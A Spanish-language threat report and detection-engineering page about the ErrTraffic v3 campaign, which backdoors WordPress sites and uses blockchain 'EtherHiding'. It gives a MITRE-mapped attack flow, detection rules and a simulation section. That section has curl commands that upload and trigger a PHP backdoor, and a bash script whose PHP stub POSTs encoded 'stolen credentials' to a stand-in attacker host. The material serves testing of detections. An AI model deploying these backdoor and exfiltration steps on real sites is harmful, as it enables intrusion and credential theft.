ErrTraffic v3 utiliza EtherHiding en campañas de ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe una nueva campaña que utiliza la herramienta ErrTraffic v3 para comprometer sitios de WordPress instalando un backdoor como mu-plugin. El backdoor inyecta JavaScript ofuscado que recupera cargas adicionales mediante una técnica basada en blockchain llamada EtherHiding. La etapa final entrega código malicioso específico para el sistema operativo, incluido un payload de PowerShell cifrado, a los navegadores de las víctimas. Errores de seguridad operativa, como claves hard-coded, exponen la infraestructura.
Investigación
LevelBlue SpiderLabs examinó el backdoor mu-plugin de WordPress, el beacon JavaScript incrustado y el panel de control ErrTraffic V3. Rastrearon el uso de claves XOR estáticas, decodificación Base64 y llamadas a contratos inteligentes a nodos RPC de Polygon. El análisis también identificó la clave de autenticación hard-coded utilizada para la comunicación de la API y mapeó la infraestructura de alojamiento a través de varios proveedores a prueba de balas.
Mitigación
Los defensores deben eliminar el backdoor mu-plugin, bloquear TLDs e rangos IP maliciosos conocidos, monitorear el uso de la clave de API hard-coded y restringir las conexiones salientes a los endpoints RPC de blockchain. Auditar regularmente las instalaciones de WordPress en busca de mu-plugins inesperados y validar la integridad de los archivos. Desplegar firewalls de aplicaciones web para detectar los patrones de JavaScript beaconing.
Respuesta
Una vez detectado, aislar el servidor web afectado, eliminar los archivos backdoor y rotar todas las credenciales de administrador. Bloquear los dominios maliciosos identificados y los endpoints RPC en el perímetro de la red. Realizar una revisión forense completa para identificar cualquier payload descargado y monitorear la actividad C2 continua utilizando el token de API divulgado.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Acción</b> – <b>T1659 Inyección de Contenidos</b><br/>Explotar sitio de WordPress para subir mu-plugin malicioso (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Acción</b> – <b>T1671 Integración de Aplicaciones en la Nube</b> / <b>T1525 Implantar Imagen Interna</b><br/>Backdoor instalado como un plugin que se debe usar en cada solicitud"] class step_persistence action step_credential_access["<b>Acción</b> – <b>T1056.003 Captura de Entrada</b><br/>JavaScript inyectado captura credenciales de administrador y las envía al atacante"] class step_credential_access action step_c2["<b>Acción</b> – <b>T1102.003 Servicio Web Comunicación Unidireccional</b><br/>Beacon envía datos de visitantes a dominios de atacantes a través de navigator.sendBeacon"] class step_c2 action step_obfuscation["<b>Acción</b> – <b>T1027 Archivos Ofuscados</b><br/>Payloads codificados con Base64 y XOR, incrustados en scripts en línea"] class step_obfuscation action step_smart_contract["<b>Acción</b> – <b>T1059.009 API en la Nube</b><br/>El script consulta endpoints RPC de Polygon y contratos inteligentes (EtherHiding) para URLs"] class step_smart_contract action step_dead_drop["<b>Acción</b> – <b>T1102.001</b><br/>Usa blockchain como buzón muerto para la configuración C2"] class step_dead_drop action step_encrypted["<b>Acción</b> – <b>T1573.001 Criptografía Simétrica</b><br/>Tráfico de API cifrado con AESu2011GCM o RC4 usando clave hardu2011coded"] class step_encrypted action step_execution["<b>Acción</b> – <b>T1059.001 PowerShell</b><br/>Descargador crea directorio temporal, escribe ejecutable y busca payload específico del OS"] class step_execution action step_priv_esc["<b>Acción</b> – <b>T1546.016 Paquetes de Instalación</b><br/>Script de PowerShell se registra como paquete de instalación para mantener el acceso"] class step_priv_esc action %% Connections step_initial_access –>|conduce a| step_persistence step_persistence –>|habilita| step_credential_access step_credential_access –>|proporciona| step_c2 step_c2 –>|usa| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|almacena| step_dead_drop step_dead_drop –>|entrega| step_encrypted step_encrypted –>|soporta| step_execution step_execution –>|habilita| step_priv_esc "
Flujo de ataque
Detecciones
Línea de Comando Sospechosa Contiene Ruta UNC con Ejecutable como Argumento (vía cmdline)
Ver
Posibles Patrones de Ataque ClickFix en Línea de Comando (vía cmdline)
Ver
Posible Ejecución de Powershell en Proceso en Directorio Sospechoso (vía cmdline)
Ver
Llamar Métodos .NET Sospechosos desde Powershell (vía powershell)
Ver
Posibles Indicadores de Ofuscación de Powershell (vía powershell)
Ver
Posible Intento de Abuso de Ethereum Publicnode Como Canal C2 (vía dns_query)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Ver
Detección de Payload de PowerShell Ofuscado con Uso Forzado de TLS 1.2 [Windows PowerShell]
Ver
Detección de JavaScript Incrustado y Backdoor de WordPress [Servidor web]
Ver
Detección de Actividad ErrTraffic V3 en Sitios de WordPress Comprometidos [Servidor web]
Ver
Ejecución de Simulación
Requisito previo: La Verificación Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y estar orientados a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.
-
Narrativa de Ataque y Comandos:
Un atacante ha comprometido una cuenta de administrador de WordPress y sube un archivo PHP malicioso llamadosession-manager.phpen el webroot. El archivo contiene una sección HTML de apariencia benigna que termina con un<script>bloque cuyo comentario dice “JavaScript incrustado al final de la sección”. El script realiza una exfiltración de datos encubierta a un bucket de almacenamiento en la nube (simulado mediante uncurlPOST). No se utilizanavigator.sendBeacon()está presente, manteniendo la solicitud dentro de la ventana de detección de la regla.- Subir backdoor malicioso:
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - Activar el backdoor (genera la telemetría de activación de detección):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Subir backdoor malicioso:
-
Script de Prueba de Regresión:
#!/usr/bin/env bash # # Simula la carga y ejecución de un backdoor malicioso de WordPress # que contiene la frase exacta que la regla Sigma observa. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. Crear el payload PHP malicioso localmente cat > session-manager.php <<'EOF' <?php // JavaScript incrustado al final de la sección echo "<!DOCTYPE html><html><body>"; echo "<script>/* código malicioso */</script>"; echo "</body></html>"; // Stub de exfiltración simple (sin sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('credenciales_robadas'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Subir el payload a través del endpoint de subida asíncrona de WordPress curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Subido session-manager.php malicioso" # 3. Invocar el backdoor para generar tráfico visible para detección curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Backdoor activado – la telemetría de detección ahora debería estar presente" # 4. Opcional: pausa para la ingesta SIEM sleep 5 -
Comandos de Limpieza:
# Eliminar el archivo malicioso del servidor (requiere acceso SSH de administrador) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Limpieza completa – backdoor eliminado"